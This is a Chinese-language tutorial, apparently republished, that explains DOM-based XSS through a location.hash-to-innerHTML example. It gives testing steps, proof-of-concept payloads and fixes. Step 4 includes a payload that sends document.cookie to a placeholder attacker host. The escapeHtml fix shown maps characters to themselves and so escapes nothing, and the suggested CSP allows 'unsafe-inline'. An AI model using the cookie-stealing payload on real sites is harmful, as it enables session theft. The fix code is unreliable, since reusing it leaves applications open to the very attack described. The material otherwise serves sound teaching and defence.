【DOM型XSS举例】
- 开源代码
- 2025-09-14 02:57:01

DOM 型 XSS 1.举个例子2.渗透测试步骤验证与详细逻辑步骤 1:探测输入点步骤 2:分析代码逻辑步骤 3:构造 PoC步骤 4:验证利用 3.步骤排查与修正潜在遗漏点 4.防御措施与根本原因漏洞根源修复方案 5.总结
以下是针对 DOM 型 XSS 漏洞案例 的详细分析,包含步骤验证、逻辑原理与判断依据,确保流程严谨性:
1.举个例子
某网站存在以下代码:
// 从 URL 的 hash 片段中提取内容并直接渲染到页面 const userInput = window.location.hash.substring(1); // 获取 # 后的内容 document.getElementById('content').innerHTML = userInput; // 直接插入 HTML攻击者可通过构造恶意 URL(如 target /#<img src=x onerror=alert(1)>)触发 XSS。
2.渗透测试步骤验证与详细逻辑 步骤 1:探测输入点
操作: 修改 URL 为 target /#<img src=x onerror=console.log(1)>,观察浏览器控制台是否输出 1。
原理与判断依据:
DOM 型 XSS 的触发条件:
漏洞源于客户端代码(如 innerHTML)直接使用未经处理的用户输入(此处为 location.hash)。location.hash 的值(即 # 后的内容)由浏览器解析,不会发送到服务器,因此传统服务端过滤可能失效。选择 <img> 标签测试的原因:
<img> 的 src 属性设置为无效值(x),触发 onerror 事件,执行 JS 代码。相较于 <script> 标签,<img> 更可能绕过简单的黑名单过滤(如过滤 <script> 但允许 <img>)。预期结果:
若控制台输出 1,说明 innerHTML 将 onerror 代码解析为可执行脚本,漏洞存在。关键验证点:确认漏洞触发位置在客户端,而非服务端返回的响应内容(区别于反射型/存储型 XSS)。步骤 2:分析代码逻辑
操作: 在开发者工具的 Sources 面板中搜索 innerHTML,定位漏洞代码并设置断点跟踪 userInput 的赋值过程。
原理与判断依据:
搜索 innerHTML 的原因:
innerHTML 是常见的 XSS 风险点,因其直接将字符串解析为 HTML,可能执行嵌入的脚本。安全替代方案:使用 textContent 或 innerText 仅渲染纯文本。断点调试的目的:
跟踪数据流:确认 userInput 是否完全由 location.hash 控制,未经过滤或编码。验证攻击链: 断点设置在 document.getElementById('content').innerHTML = userInput; 行。当页面加载时,观察 userInput 的值是否为攻击者控制的字符串(如 <img ...>)。逻辑漏洞排查:
检查是否有客户端过滤函数(如 escapeHtml(userInput))被遗漏。确认是否因异步加载(如 AJAX)导致输入未被捕获。步骤 3:构造 PoC
操作: 通过控制台直接注入代码:
window.location.hash = '<script>alert(document.domain)</script>';原理与判断依据:
为何修改 location.hash:
location.hash 的修改会更新 URL 但不会重载页面(除非代码主动监听 hashchange 事件)。在此案例中,漏洞代码在页面初始化时执行,因此需刷新页面触发解析新 hash 值。使用 <script> 标签的可行性:
现代浏览器默认不会执行由 innerHTML 插入的 <script> 标签(HTML5 规范限制),但其他标签(如 <img>、<svg>)的事件处理器仍可触发。绕过限制的替代方案:window.location.hash = '<img src=x onerror=alert(document.domain)>';控制台注入的意义:
开发者工具拥有当前页面的 JavaScript 执行权限,可直接操作 DOM 或修改变量,用于快速验证漏洞利用链。步骤 4:验证利用
操作: 刷新页面,观察是否弹出包含当前域名的弹窗。
原理与判断依据:
弹窗内容 document.domain 的作用:
确认脚本执行在目标域的安全上下文中(如 target ),可访问该域的 Cookie、LocalStorage 等敏感数据。若弹窗显示 attacker ,则可能存在跨域问题或代码注入位置错误。实际攻击的隐蔽性优化:
生产环境中应避免弹窗,改为静默窃取数据:// 将 Cookie 发送至攻击者服务器 window.location.hash = `<img src=x onerror="fetch(' attacker /steal?data='+btoa(document.cookie))">`;3.步骤排查与修正 潜在遗漏点
未刷新页面:
修改 location.hash 后,若未刷新页面或重新触发漏洞代码执行,攻击载荷不会生效。修正:确保刷新页面或确认代码在 hash 变化时自动执行(如监听 hashchange 事件)。依赖 <script> 标签:
如前所述,innerHTML 插入的 <script> 不会执行,可能导致误判漏洞不存在。修正:优先使用 <img>、<svg> 等标签的事件处理器。4.防御措施与根本原因 漏洞根源 直接原因:innerHTML 未对用户输入(location.hash)进行转义或过滤。深层原因:开发者未遵循 “数据与代码分离” 原则,将用户输入视为代码执行。 修复方案 安全编码:使用 textContent 替代 innerHTML:document.getElementById('content').textContent = userInput; 输入过滤:对 userInput 进行 HTML 实体编码:function escapeHtml(unsafe) { return unsafe.replace(/[&<>"']/g, (c) => ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' })[c]); } document.getElementById('content').innerHTML = escapeHtml(userInput); 启用 CSP:通过 HTTP 头限制脚本执行来源:Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
5.总结
通过本案例可清晰看到 DOM 型 XSS 的完整利用链:
输入点控制:location.hash 用户可控危险函数调用:innerHTML 直接渲染代码执行:浏览器解析恶意 HTML/JS。渗透测试的核心在于 追踪用户输入流向 并验证其是否触发代码执行,而修复需从根本上避免将用户输入视为代码。
【DOM型XSS举例】由讯客互联开源代码栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“【DOM型XSS举例】”
 
               
               
               
               
               
               
               
   
   
   
   
   
   
   
   
   
   
   
  